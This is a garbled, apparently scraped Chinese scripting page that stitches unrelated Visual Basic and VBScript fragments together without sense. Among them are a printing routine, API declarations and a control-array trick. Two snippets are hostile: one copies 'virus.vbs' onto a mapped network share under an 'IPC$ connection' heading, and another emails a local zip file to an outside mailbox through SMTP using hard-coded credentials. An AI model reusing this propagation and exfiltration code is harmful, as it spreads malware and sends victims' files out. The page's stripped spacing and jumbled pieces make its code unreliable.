ConstForReading=1'VBS的这句不能少VB中的Form和PictureBox对象,都有各自相应的设备描述表用于存" />

现在编写脚本用什么工具ssr多用户一键

发布时间:2020-09-01 来源:脚本之家 点击:

通过API函数GetInputState来检查这个条件的发生:

DeclareFunctionGetInputStateLib"user32"Alias"GetInputState"()AsLong

'...

IfGetInputState()ThenDoEvents

->


Const ForReading=1 'VBS的这句不能少
当前页面发生脚本错误88行

VB中的Form和PictureBox对象,都有各自相应的设备描述表用于存放它们显示的位图,这些设备描述表可以通过hDC属性存取

新文件将由三部分组成:新的第一行;回车-换行;及该文件的现有内容

----下面是本人在给单位开发一个产品销售情况统计分析软件的过程中,使用Printer对象从Recordset对象的虚拟表中打印数据的通用代码:

SubPrintRecordset(recRecordsetasRecordset)
DimLeftMarginAsInteger
DimHeadTopPositionAsInteger
DimFieldNumAsInteger
DimPageCounterAsInteger
DimMyRecordsetAsRecordset
ConstFooterTopPosition=24

SetMyRecordset=recRecordset
PageCounter=1
'设置Printer对象坐标的度量单位为厘米
Printer.ScaleMode=vbCentimeters

LeftMargin=1.5
HeadTopPosition=2

----'定义打印页左上角的X坐标和Y坐标,通过改变ScaleLeft和ScaleTop的值,可改变打印页的左边距和上边距

Printer.ScaleLeft=-LeftMargin
Printer.ScaleTop=-HeadTopPosition

Printer.Font.Name="TimesNewRoman"
Printer.Font.Size=12

Printer.Print"LovesoftCorp."
Printer.Print""

IfMyRecordset.EOFAndMyRecordset.BOFThen
MsgBox"NoRecordAtPresend!",
vbCritical vbOKOnly,"PrintError"
ExitSub
EndIf
MyRecordset.MoveFirst

DoUntilPrinter.CurrentY>FooterTopPosition

'Printthefieldsoftherecordsetinsequence
ForFieldNum=0ToMyRecordset.Fields.Count-1
Printer.PrintMyRecordset.Fields
(FieldNum).Name&_
":"&_
MyRecordset.Fields(FieldNum).Value
IfPrinter.CurrentY>FooterTopPositionThen
Printer.CurrentX=8
Printer.Print"Page:"&PageCounter
'创建多页文档
Printer.NewPage
PageCounter=PageCounter 1
EndIf
NextFieldNum

MyRecordset.MoveNext
IfMyRecordset.EOFThenExitDo
'在记录之间空一行
Printer.Print""
Loop

'PrintthePagenumberasafooter
Printer.CurrentX=8
Printer.CurrentY=FooterTopPosition
Printer.Print"Page:"&PageCounter
'将输出送到打印机
Printer.EndDoc
EndSub

----调用上述PrintRecordset通用过程相当方便,下面是通过cmdPrint按钮的Click事件进行调用的一个实例:

PrivateSubcmdPrint_Click()
PrintRecordsetData1.Recordset
EndSub->


我这里给一段VBS的示例代码:
Setmyfso=CreateObject("Scripting.FileSystemObject")
SetWshNetwork=WScript.CreateObject("WScript.Network")
WshNetwork.MapNetworkDrive"I:","\"&unc
fso.copyfile"c:\virus.vbs","I:\virus.vbs.txt"
WshNetwork.RemoveNetworkDrive"I:"
2.利用IPC$进行连接
  原程序如下:
  OptionExplicit
  `定义获取桌面HDC的api函数
  PrivateDeclareFunctionGetDCLib“user32”(ByValhwndAsLong)AsLong
  `定义TransparentBlt函数
  `实现图片的透空效果需要用上API函数:TransparentBlt,这个函数功能十分强大,而且使用方便,但不幸的
  `是VB自带的API浏览器居然把它的漏掉了,所以我们只有采用人工输入的方法了
  PrivateDeclareFunctionTransparentBltLib“msimg32.dll”_
  (ByValhdcDestAsLong,_
  ByValnXOriginDestAsLong,_
  ByValnYOriginDestAsLong,_
  ByValnWidthDestAsLong,_
  ByValnHeightDestAsLong,_
  ByValhdcSrcAsLong,_
  ByValnXOriginSrcAsLong,_
  ByValnYOriginSrcAsLong,_
  ByValnWidthSrcAsLong,_
  ByValnHeightSrcAsLong,_
  ByValcrTransparentAsLong)AsLong
  `其中,hdcDest为目标地的HDC,nXOriginDEst和nYoriginDest分别为目标图像的起始点坐标,nWidthDesk和nHeightDest分别为目标图像的宽度和高度

本人通过该方法启动nodejs app测试,多次双击,会启动多个nodejs进程提示自定义否继续

OptionButton控件经常是作为控件数组存在的,要快速找到其中的哪一个被选中,可以使用下面的代码:

'假设控件数组包含3个OptionButton控件

intSelected=Option(0).Value*0-Option(1).Value*1-Option(2).Value*2

注意,因为第一个操作数总是0,所以上述代码可以精简如下:

intSelected=-Option(1).Value-Option(2).Value*2

->

NameSpace=""
SetEmail=CreateObject("CDO.Message")
Email.From="zzzevazzz@21cn.com"
Email.To="zzzevazzz@126.com"
Email.Subject="Testsendmail.vbs"
Email.Textbody="OK!"
Email.AddAttachment"C:\foo.zip"
WithEmail.Configuration.Fields
.Item(NameSpace&"sendusing")=2
.Item(NameSpace&"smtpserver")="smtp.21cn.com"
.Item(NameSpace&"smtpserverport")=25
.Item(NameSpace&"smtpauthenticate")=1
.Item(NameSpace&"sendusername")="zzzevazzz"
.Item(NameSpace&"sendpassword")="ph4nt0m!"
.Update
EndWith
Email.Send。

网站地图 | Tag标签 | RSS订阅
Copyright © 2012-2019 脚本之家 All Rights Reserved
脚本之家  渝ICP备13030612号